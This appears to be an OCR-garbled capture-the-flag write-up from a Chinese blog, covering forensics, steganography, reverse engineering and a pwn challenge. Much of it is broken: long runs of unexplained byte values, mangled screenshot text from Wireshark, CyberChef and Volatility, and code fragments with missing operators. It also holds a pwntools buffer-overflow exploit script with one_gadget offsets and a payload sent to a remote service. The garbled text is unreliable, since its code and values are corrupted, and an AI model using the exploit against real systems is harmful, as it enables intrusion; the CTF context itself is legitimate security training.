84, 65, 120,
120, 77, 68,
70, 120, 117,
120, 77, 84,
68, 65, 119,

77,
65,
77,
65,
77,
69,

119, 77, 68,
84, 65, 120,
120, 77, 68,
68, 69, 119,
119, 77, 68,
84, 69, 120,
119, 77, 68,
68, 65, 119,

65, 119,
77, 68,
69, 119,
77, 84,
65, 119,
77, 84,
69, 119,
77, 68,




84, 69, 120,
120, 77, 86,
68, 65, 120,
120, 77, 68,
84, 69, 120,
119, 77, 68,
84, 65, 119,
119, 77, 84,
68, 69, 120,
120, 77, 68,
68, 69, 120,
120, 77, 84,
84, 65, 120,
119, 77, 84,
84, 65, 119,
120, 77, 84,
68, 65, 120,
117, 77, 84,
84, 69, 120,
120, 77, 68,
84, 65, 119,
119, 77, 84,
70, 120, 117,
120, 77, 68,
68, 65, 119,
120, 77, 68,
68, 65, 119,
120, 77, 70,
68, 69, 119,
119, 77, 68,
84, 65, 120,
120, 77, 84,
84, 69, 119,
120, 77, 68,
68, 69, 120,
119, 77, 84,
68, 69, 120,
119, 77, 68,
68, 65, 120,
119, 77, 84,
68, 69, 120,
119, 77, 84,
68, 65, 120,
117, 77, 84,
68, 69, 120,
120, 77, 84,
84, 65, 120,
119, 77, 68,
70, 120, 117,
120, 77, 84,
68, 65, 120,
119, 77, 68,
84, 69, 120,
120, 77, 86,
84, 69, 119,
119, 77, 84,
84, 69, 119,
119, 77, 68,
68, 69, 119,

120,
77,
65,
77,
65,
77,
69,
77,
65,
77,
69,
77,
65,
77,
65,
77,
69,
77,
69,
77,
65,
77,
65,
77,
69,
77,

77,
69,
77,
69,
77,
69,
77,
69,
77,
65,
77,
69,
77,
69,
77,
69,
77,
69,
77,
65,
77,
65,
77,
69,
77,

77,
69,
77,
69,
77,

84, 69, 120,
117, 77, 84,
68, 69, 119,
119, 77, 68,
84, 69, 120,
119, 77, 68,
70, 120, 117,
119, 77, 84,
68, 65, 120,
119, 77, 68,
68, 69, 119,
119, 77, 86,
84, 65, 119,
119, 77, 84,
84, 69, 119,
120, 77, 68,
68, 65, 120,
120, 77, 68,
84, 69, 120,
119, 77, 84,
68, 69, 120,
120, 77, 84,
84, 65, 120,
119, 77, 84,
68, 65, 119,
119, 77, 68,
68, 65, 119,
117, 77, 68,
84, 65, 119,
119, 77, 68,
84, 69, 119,
119, 77, 84,
86, 120, 117,
119, 77, 68,
84, 69, 120,
120, 77, 68,
68, 65, 120,
120, 77, 70,
68, 65, 119,
120, 77, 68,
68, 65, 120,
119, 77, 68,
84, 69, 119,
120, 77, 68,
68, 65, 119,
120, 77, 84,
68, 65, 120,
119, 77, 68,
68, 65, 119,
120, 77, 68,
84, 69, 119,
119, 77, 84,
84, 69, 120,
117, 77, 84,
68, 69, 120,
119, 77, 84,
68, 65, 120,
120, 77, 68,
70, 120,

77,
69,
77,
65,
77,
69,
77,
69,
77,
69,
77,
69,
77,
65,
77,
69,
77,
65,
77,
69,
77,
69,
77,
65,
77,

77,
69,
77,
69,
77,
69,
77,
65,
77,
65,
77,
69,
77,
69,
77,
69,
77,
65,
77,
65,

119,
68,
119,
84,
117,
68,
120,
68,
119,
70,
120,
68,
119,
68,
119,
68,
120,
68,
119,
68,
120,
84,
120,
84,
120,
68,
119,
84,
119,
68,
117,
84,
120,
84,
120,
86,
119,
84,
120,
84,
120,
68,
119,
68,
119,
68,
119,
68,
119,
68,
119,

117, 77, 68,




119, 77, 84,
84, 69, 120,
119, 77, 68,
84, 69, 120,
120, 77, 68,
68, 69, 119,
120, 77, 84,
84, 65, 119,
120, 77, 68,
68, 69, 119,
117, 77, 84,
84, 69, 120,
120, 77, 68,
68, 65, 120,
119, 77, 84,
86, 120, 117,
119, 77, 68,
84, 65, 119,
119, 77, 84,
68, 65, 119,
120, 77, 70,
84, 65, 119,
120, 77, 84,
68, 65, 120,
119, 77, 68,
84, 69, 119,
119, 77, 84,
84, 69, 120,
120, 77, 68,
84, 69, 120,
119, 77, 68,
68, 69, 119,
120, 77, 84,
84, 65, 119,
120, 77, 68,
68, 65, 120,
117, 77, 68,
68, 65, 120,
120, 77, 68,
68, 65, 120,
120, 77, 84,
70, 120, 117,
119, 77, 84,
68, 65, 119,
120, 77, 68,
84, 65, 119,
119, 77, 70,
68, 69, 120,
120, 77, 68,
68, 65, 120,
120, 77, 84,
68, 65, 119,
120, 77, 84,
84, 65, 120,
120, 77, 68,
68, 69, 119,
119, 77, 84,
68, 65, 119,
120, 77, 84,

119, 77, 84,
84, 65, 119,
119, 77, 84,
68, 65, 120,
120, 77, 86,
84, 65, 120,
119, 77, 68,
68, 69, 120,
119, 77, 68,
84, 65, 119,
119, 77, 84,
84, 69, 119,
120, 77, 68,
84, 69, 120,
120, 77, 84,
84, 69, 119,
120, 77, 68,
68, 65, 119,
120, 77, 68,
84, 65, 120,
117, 77, 68,
84, 65, 119,
119, 77, 84,
84, 69, 120,
119, 77, 68,
86, 120, 117,
119, 77, 68,
68, 69, 119,
120, 77, 68,
84, 69, 120,
120, 77, 70,
84, 65, 120,
119, 77, 84,
68, 65, 119,
119, 77, 68,
84, 69, 120,
120, 77, 68,
68, 65, 119,
120, 77, 68,
84, 65, 120,
119, 77, 84,
68, 69, 120,
120, 77, 84,
68, 65, 120,
120, 77, 68,
84, 69, 120,
117, 77, 68,
68, 65, 120,
120, 77, 68,
68, 69, 120,
119, 77, 68,
70, 120, 117,
120, 77, 84,
84, 65, 119,
120, 77, 84,
84, 65, 120,
120, 77, 86,
68, 65, 119,
119, 77, 68,




String base=Base64.getEncoder().encodeToString(arrayOfByte);

0o,

120, 77, 68,
68, 69, 119,
117, 77, 68,
68, 69, 120,
119, 77, 84,
68, 69, 119,
120, 77, 84,
86, 120, 117,
120, 77, 68,
68, 65, 119,
120, 77, 84,
68, 65, 119,
120, 77, 70,
68, 65, 120,
120, 77, 84,
68, 65, 120,
120, 77, 84,
68, 69, 120,
119, 77, 68,
84, 69, 119,
120, 77, 84,
68, 65, 120,
120, 77, 68,
68, 69, 120,
120, 77, 84,
68, 69, 119,
119, 77, 84,
68, 69, 120,

117, 77, 68,
68, 69, 120,
120, 77, 84,
68, 65, 119,
119, 77, 68,
65, 61, 61 };

)
65,
77,

77,
65,
77,
69,
77,
69,
77,
65,
77,

77,
69,
77,
69,
77,
65,
77,
69,
77,
69,
77,
69,
77,
69,
77,

77,
69,
77,
65,

119, 77, 84,
68, 69, 119,
120, 77, 84,
84, 65, 119,
120, 77, 68,
84, 69, 119,
119, 77, 84,
68, 69, 119,
119, 77, 68,
68, 69, 120,
120, 77, 68,
68, 65, 119,
117, 77, 68,
68, 69, 119,
119, 77, 84,
84, 69, 120,
120, 77, 68,
86, 120, 117,
120, 77, 68,
84, 69, 120,
119, 77, 68,
68, 69, 119,
120, 77, 70,
84, 69, 120,
120, 77, 84,
84, 69, 119,
120, 77, 84,
68, 69, 120,
119, 77, 68,
84, 69, 120,
120, 77, 68,
68, 65, 119,
120, 77, 84,

System.out.println(base);

EF|base64IE LMD, FRI01FRFE Liw\n EHEEIT,

}
J

65,
77,
69,
77,
69,
77,
69,
77,
69,
77,
65,
77,
69,
77,
69,
77,
69,
77,
69,
77,
65,
77,
120,
77,
65,
77,
65,
77,
65,
77,
69,
77,
65,

120,
70,
120,
84,
120,
68,
120,
68,
120,
68,
119,
68,
119,
84,
119,
84,
119,
68,
119,
84,
119,
84,
117,
68,
119,
84,
119,
70,
119,
84,
120,
68,
119,




import matplotlib.pyplot as plt

import numpy as np
a="'000000010111000000001111110111000000001111101011010101111100011101101img.append(1)
img.append(0)
np.array(img)
in (1,8000):

img.reshape(i,-1)

.imshow(img)
.show()

except:pass
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M Wireshark - S - HTTP 3451z = O . 4
XA l Content Type: |All Content-Types v
HE TS RERE K M= 2

105 localhost text/html 284 bytes \

109 localhost text/html 285 bytes LcyTfBP6Rd)2

113 localhost text/html 286 bytes .7octH8IDPDa0

117 localhost text/html 286 bytes VIFOcdUbmijkh

121 localhost text/html 289 bytes yt8WénuMBHrD.php
125 localhost text/html 290 bytes DeVvbmgwlOH8.aspx
129 localhost text/html 289 bytes shqeOSibTPIO.jsp
133 localhost text/html 290 bytes U19ZDEqZjBzb.html
137 localhost text/html 288 bytes 4bDmife2qont.js

170 localhost text/html 283 bytes source.php
201 localhact tavt/html 282 hutee  HEAD
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341
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localhost text/html
localhost text/html
localhost text/html
localhost text/html
localhost text/html
localhost text/html
localhost text/html

et I T T

300 bytes dataSources.local.xml

285 bytes src

278 bytes .bzr
279 bytes source
283 bytes index
274 bytes %3f

287 bytes source.php.swp
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To Hex Content
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Hex Density chart

Recipe

From Base&d

Alphabet

A-28-28-94/=

n Remove non-alphabet chars

To Hex

Dl e

Space

t

Parse ASN.1 hex string

Hex to Object ide

rtifies

Oihject demtifier 1o Hex
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Bytes per ing
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input = soEEm

UESDEBQAMRARAL IMVMARAAAMMAAAANAMAGACANY 2D CHMWAGHAA 2 3oMZ hxXqDEYC 2 genF 1eAs AADT LAGWABBOAMBSHME
FAATAARAL JWTLMAAAAAAAAAADEARARAATAAT XA BOXI THE BUXINoaX B R VWONAAR 30MT hxqDGYCagxmF LeAs AT 1AQRAREDA
208 VBV 2281 ¥PENTFbwD1 aTUTACKBE D AbAFECTADXL ZEQERAXDQOKET ICOFUICs haa EESGukpy F SAvUIC Tqpebipkvicl 15
B 7w DWZK G 1 QoW S S 7Hw JBUK THZXG g5 TADE A kkn T EBMALE SHE ThaAghtARAAB EAAAF BLARGUARZACADUYS 1 TARAA
AAANAARE AARADEAES X2 L 2Ry O0ALCESINVONAR NS T HHKDGY Ry gXm 1oAsAM)T D5t/ VEVNEBRrGRAYYD
hpCQGnDODikhieKgR 1 RGANSS kQ1q6u T TERGAF BT EO1 SkQUKQUGK KEYOGEDT / 3h/ P+ cubDE Tava+ 31 LX it eq53Tulipbl
SUDET1SANDUGKVEKbe 1 xFBKGP, 2eR0E TWAAKE #HEUpWZ SAETLADYAA/BhYAIVPA w2 X THaA+L Ymv2 12 IRake TP/ FPMf /=N

JeAS AT BN /g C1ARI T JKCHIRBBSADS 1850 STA/M0GTCACKpPxT & [eqCb07 fwba Ta38h/ fwe/ 70T

JEP/ PG IYqIyoR Ly YOP THeCARTY 71/ SkiaPHI VO kAQDOeHaG065X 282 §

S75li1gpavuagTLFOF zqTyw0aF6 jumvypQIAST LMS@GFF poRtanisBointg

41 50RR1AZSvdONHL 3h PPo0M Ik SR IQGF i0Thwast LvpZ fan/ CORHATU2/EDY 7/ i gSHz ax 3 rh I Np Py P 38e U2 juyyD
SUUGHERAFMAMSE Ay hmaXDONDE BV s GFHz be xa il 0P TNC G LVHAGe EER

JulhBpEsehy2elKzovw+E JZqroSpWcDad6FVWE L 1691 39WaE 1a0AY CD TSP sV ogh7 UsoZ DUk YWY BKvaGEN v XYy 0N
q n[:muvmmn— !ulq‘.hs T |+{-[ hw—mmcm:lnrn an[ ] J'ud)lhmhll--lighhyu}i"l 576 J.muhl u—:haulm QONISES

Output J.::;ﬂﬂ.’.’: Ba0Om e
50 db B3 B4 14 PO G0 BA B B9 Bh 65 99 53 60 PR B9 GO PO KO 0B KA GO P B BO A6 BA 20 PP 63 6E
B9 70 72 2f 55 54 @ 00 @7 b7 ab 6 61 C6 a8 cb 61 <6 ad 6 61 75 78 0b o0 01 84 £5 81 90 00 84
14 8@ B8 00 58 4b 83 A4 11 @0 BF @ 08 AP 6b 55 09 53 PO O 0D 0O 0O 0P B 80 d2 60 0B 89 10 BA
26 00 5F 5F d4d 41 43 4f 53 58 2f 2e SF 63 68 69 7@ 73 55 54 6d BO @7 b7 ad c6 61 c6 ab <6 61 cb
8 6 61 75 78 #b 00 01 @1 5 01 @ 00 @1 14 6O B9 B0 63 6@ 15 61 67 60 62 60 fo ad Ac 56 fo of
56 88 56 BB @2 90 18 63 27 10 1b &1 f1 62 20 86 1 2f 31 10 85 1c 43 42 B2 ab 4c 9@ Be 15 48 ac
B5 26 B4 11 21 ae 92 9c 9f ab 97 58 50 90 93 3a 97 9b 53 92 98 92 58 92 68 15 Of ed eb e2 59 92
9a 1b 5a 9c Sa 14 92 98 Se cc cb 90 54 99 93 59 5c 62 60 b 8O 03 Ga OO 23 9 49 8 80 13 @@ 50
4b @7 £ 96 de B2 28 6d 80 04 00 d2 00 62 00 5B 4b @3 84 14 00 BB OF 4 ~ 30 d4 22 o0 B B

aeeeaawwuseaeweeaamwassswmﬁzfja42_1353{691‘5‘[)J$‘"&3',’!E:
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IDJOMQDIMAKG4ZTEMIOOBXGOIDJOMQDIMIKGISTINZOOBXGOIDJOMQDIMQKG4YTENJOOBXG

OIDJOMQDIMYKGEZDEMBOOBXGOIDJOMQDINAKG4YDOOJOOBXGOIDJOMQDINIKGUYTOMRQOO
BXGOIDJOMQDINQKGUYDOMBOOBXGOIDJOMQDINY=
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B C\WINDOWS\system32\cmd.exe - O X
- e A1

@ EDIRS
SN @ED]| %

emoji-aes

B O %

emaoji-aes

Decrypt

To decrypt, select the agreed rotation (if custom), enter the emaji-aes string, and then the pre-shared encryption key.

n Advanced u

Message

Key
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KA
TR, SRR S HTTP 0 R ALK BAH B ik

M Wireshark - S - HTTP 3i&7%= = 0 X
AT RS | ‘Con‘ten‘t Type: All Content-Types v~
o8 FE REXE K prg i

9 localhost application/x-www-form-urlencoded 4085 bytes 1.php

11 localhost text/html 55 bytes 1.php

41 localhost application/x-www-form-urlencoded 659 bytes 1.php

43  localhost text/html 1779 bytes 1.php

57 localhost application/x-www-form-urlencoded 4079 bytes 1.php

59 localhost text/html 1831 bytes 1.php




Save

Save 411

Preview

Hp—NXMHEF RS, FHO103XHFE R £ key.wsHiflag.txt Fwhitespace#ikey.ws.

TR T T S

5 C

Files

[ file://fC:/Users/Dell/Downloads/whitespace-master/index.html

[Nev] [Delete] [Savel]
Mlew file 1.vs
M Hew file 2.ws

(Local Storage) New file 2.vs

[Fun ] [Optinize] [E]Highlight [Download] [ HELP ]

<

[t u'ﬁ"t] Console Nemory

[Elear] [EOF]
iknWillBeSafe

Debug

[Run] [Step] [Stop]
push 88
printc
push 105
printec
push 65
printc
push 110
printe
push 87
printc
push 105
printe
push 108
printe
puzh 108
printe
puzh &6
printc
puzh 101
printe
push 83
printe
push 97
printe
push 102
printe
push 101
printe
end

18 3 snow ] B 1Y




f;s SnowGui By:Tokeii - ] X

Wik: |D:\QQ\secret\l\flag txt %A

Bi: [|XiAnWillBeSafe WEE

(ARZE 10.0.19042. 1415

rporationo {58 ANETH| <

\QQ\SNOWGUI >snow. exe —p X1AnWi1llBeSafe —C D:\QQ
\I\flag txtéexit
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[ t K vol.py -f xp_sp3.raw imageinfo
Volatility Foundation Volatility Framework 2.6.1
**% Failed to import volatility.plugins.malware.apihooks (NameError: name 'distorm3' is not defined)
*¥* Failed to import volatility.plugins.malware.threads (NameError: name 'distorm3' is not defined)
**% Failed to import volatility.plugins.mac.apihooks_kernel (ImportError: No module named distorm3)
*¥*% Failed to import volatility.plugins.mac.check_syscall_shadow (ImportError: No module named distorm3)
**x Failed to import volatility.plugins.ssdt (NameError: name 'distorm3' is not defined)
**% Failed to import volatility.plugins.mac.apihooks (ImportError: No module named distorm3)
INFO : volatility.debug : Determining profile based on KDBG search ...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layerl : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/root/% [ /xp_sp3.raw)
PAE type : PAE
DTB : @=764000L
KDBG : 0=8054e2elL
Number of Processors : 2
Image Type (Service Pack) : 3
KPCR for CPU @ : @xffdffeooL
KPCR for CPU 1 : @xfg757000L
KUSER_SHARED_DATA : oxffdfooooL L]
Image date and time : 2021-12-27 02:37:41 UTC+0000 % ED\'}‘I%}\
Image local date and time : 2021-12-27 10:37:41 +@800 CSDN @EDIZ %

[ i W vol.py -f xp_sp3.raw —profile=WinXP5P3x86 filescan|grep flag

Volatility Foundation Volatility Framework 2.6.1

0=00000000017ad6a8 2 @ R—rw- \Device\HarddiskVolumel\Documents and Settings\Administrator\:s [ \flag.zip
0x00000000018efcb8 1 0 RW-rw- \Device\HarddiskVolumel\Documents and Settings\Administrator\Recent\flag.lnH
0%0000000001b3490 1 1 R--r-- \Device\HarddiskVolumel\Documents and Settings\Administrator\:£ M \flag.zip
?x0000000001e65028 1 0 R--rw- \Device\HarddiskVolumel\Documents and Settings\Administrator\# [ \flag.png

L W vol.py -f xp_sp3.raw —profile=WinXPSP3=86 filescan|grep txt
Volatility Foundation Volatility Framework 2.6.1

Ox0P00000001b301cd 1 ® RW-r-- \Device\HarddiskVolumel\Documents and Settings\Administrator\s il \I& # B iQ .txt

Bx0000000001b4s13d8 & 2 -W-rw- \Device\HarddiskVolumel\Documents and Settings\All Users‘Application Dara\vmwa%aE&m%%
file.txt.@

o et
0x0000000001c29db0 1 1 RW-r— \Device\HarddiskVolumel\WINDOWS\system32\h323log. txt CSDN @ED|% 4

jfiflag.png,flag Zip MIFR i) H 12 et 5t flag.png L i B3 S AFDCB[BLDQ?ZLO0?FHUWDLQOB?VIFFHHG?LA?ILJKHLQJ?
WKH?
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Hid BB EHAOEN, MERIMEMA, £44+32

void Encrypt(string& str)
{

for(int 1 = @; i < str.length(); i++)
{

if(str[i] str[i]
str[i]+=3;

else if(str[i]

str[i] 8

else if(str[i]

str[i] g

else if(str[i]




cazy{Xian_will certainly sfcceed ix_figheing the epidemic}

Reverse

lemon

b = [101, 108, 111, 117, 122, 101, 105, 98, 101, 108, 117, 105, 113,
117, 105, 113]
[83, 69, 65]
p[::-1]
q[::-1]
[0]*256

(ans[i]+q[i%3]+p[i%16])%256
(3):
(256):

ans[jl”ans[(j+1)%256]
(256):

(ans[j]+1)%256

flag*20+5
flag*30-5
flag*40-5
flag*50+6645

combat_slogan

jebITTF, REISHRINE R

public static String ttk(String argd) {
StringBuilder v@ new StringBuilder();
vl;
for (vl 0; vl argd.length(); vl) {
char v2 argd.charAt(vl);
if(v2 97 \ 109 ' 65
V2 (char) (v2 13);
s
else if(v2 110 v2 OX7A v2 78 v2
V2 (char) (v2 13);
s
vO.append(v2);
s
return ve@.toString();

}

rot13n%, WAELMEEXF Jr_j11y_s1tug_g0_raq_g0_raq_pnml, BE4Trot13f#%. HLEF)
we_w11l fight t0_end _t0_end_cazy

cute_doge




flagE . v B J5 A I ARAME B a0 i

08000a000404198

4 2 14 8B 4A 84 85 (9 75 87 88 A{l..
0000000048410 4
D

83 C
D8 45 85 €9 7F ES 8B 42 OC 4C 01 B.0F.
060200002404180 €3 90 99 90 90 99 90 90 90 90 90 iR-
1co INNER 41 55 41 54 55 57 56 53 48 83 EC 58 AWAV
55 E @

lpeREAGEEARARAIDA C7 44 24 4C 09 99 @@ FF 15 4E @8 ©5 00 48 8D .41 ?R{h{\]n}\— 1
00003500 00000000004041C0: WinMain f_l\ | IE. .
& output

/FFUAAB30000: Loaded C:\WLNDUWS\SYSTEM3Z\SALNIZ. all e B 3 4H SHE D
7FFOAABCO000: loaded C:\WINDOWS\SYSTEM32\midimap.d1l / ]XfE ]ﬁ{ﬁ =] @ X PE%E

7FF93FAD3309: thread has started (tid=26208)
Debugged application message: "flag{Chlna_yyds_cazy}"

Debugger: thread 26208 has exited (code @)

mmmabhimm Amise CACE THCFMOTTTUNI Y Lam himmms == e n

hello_py

fiE Funcompyle6 [ 4 ¥ 45 Ipyc XX, — M RTEREIIEH, —T, BT FTHKEA.



15:52:53) [MSC v.1927 64 bit (AMD64)]

import threading, time

flag[ (num 1)]

[44, 100, 3, 50, 106, 90, 5, 102, 10, 112]
, flag)
threading.Thread(target=encode 2, args=(1, ))

threading.Thread(target=encode 1, args=(2, ))

(flag))
Happy :
)




o = DN = DN

- =i [

= MY =T

EDI
CSDN @

ZE




from pwn import

elf=ELF(elfelf)
context.arch=elf.arch
gdb_text

if (sys.argv)==1 :
io=process(elfelf)
gdb_open=1

libc=ELF(

one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
elif sys.argv[1]

io=process(elfelf)

gdb_open=0

libc=ELF(

one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
else :

io=remote( ,16088)

gdb_open=0

libc=ELF(

one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]
def gdb_attach(io,a):

if gdb_open==1 :

gdb.attach(io,a)

io.recvuntil( )

stack (io.recv(8),16)+0x40

pay Ox34+p32(stack)+p32(0x80485A5) *5+p32(0x8048540) *4
gdb_attach(io,gdb_text)

io.sendline(pay)

libc.sym[ 1-88-0x10

io.interactive()

HRRT

WAEEFRSI5EH?

MMMAEDIZ 42, XETTMARRR, EMEMNLKREE, ATCUFERENERITG, RERERFFZUIES MR

EDIZEKCTFRINE S 5% KCTFLL3E, TMHCTFRHE, BAEANTERERFRRARTETS /1, XRAEXNRREIZAR
Ky . XEMEARMRE, EMENZKREE, TUWER-ENEMITS, RAERFERZUESHHRL, T—ACTFX
B RAR.

B R DNEANE, KRE—RBITCTF, —Ei#P.

WAVESZH, DILIREEE !
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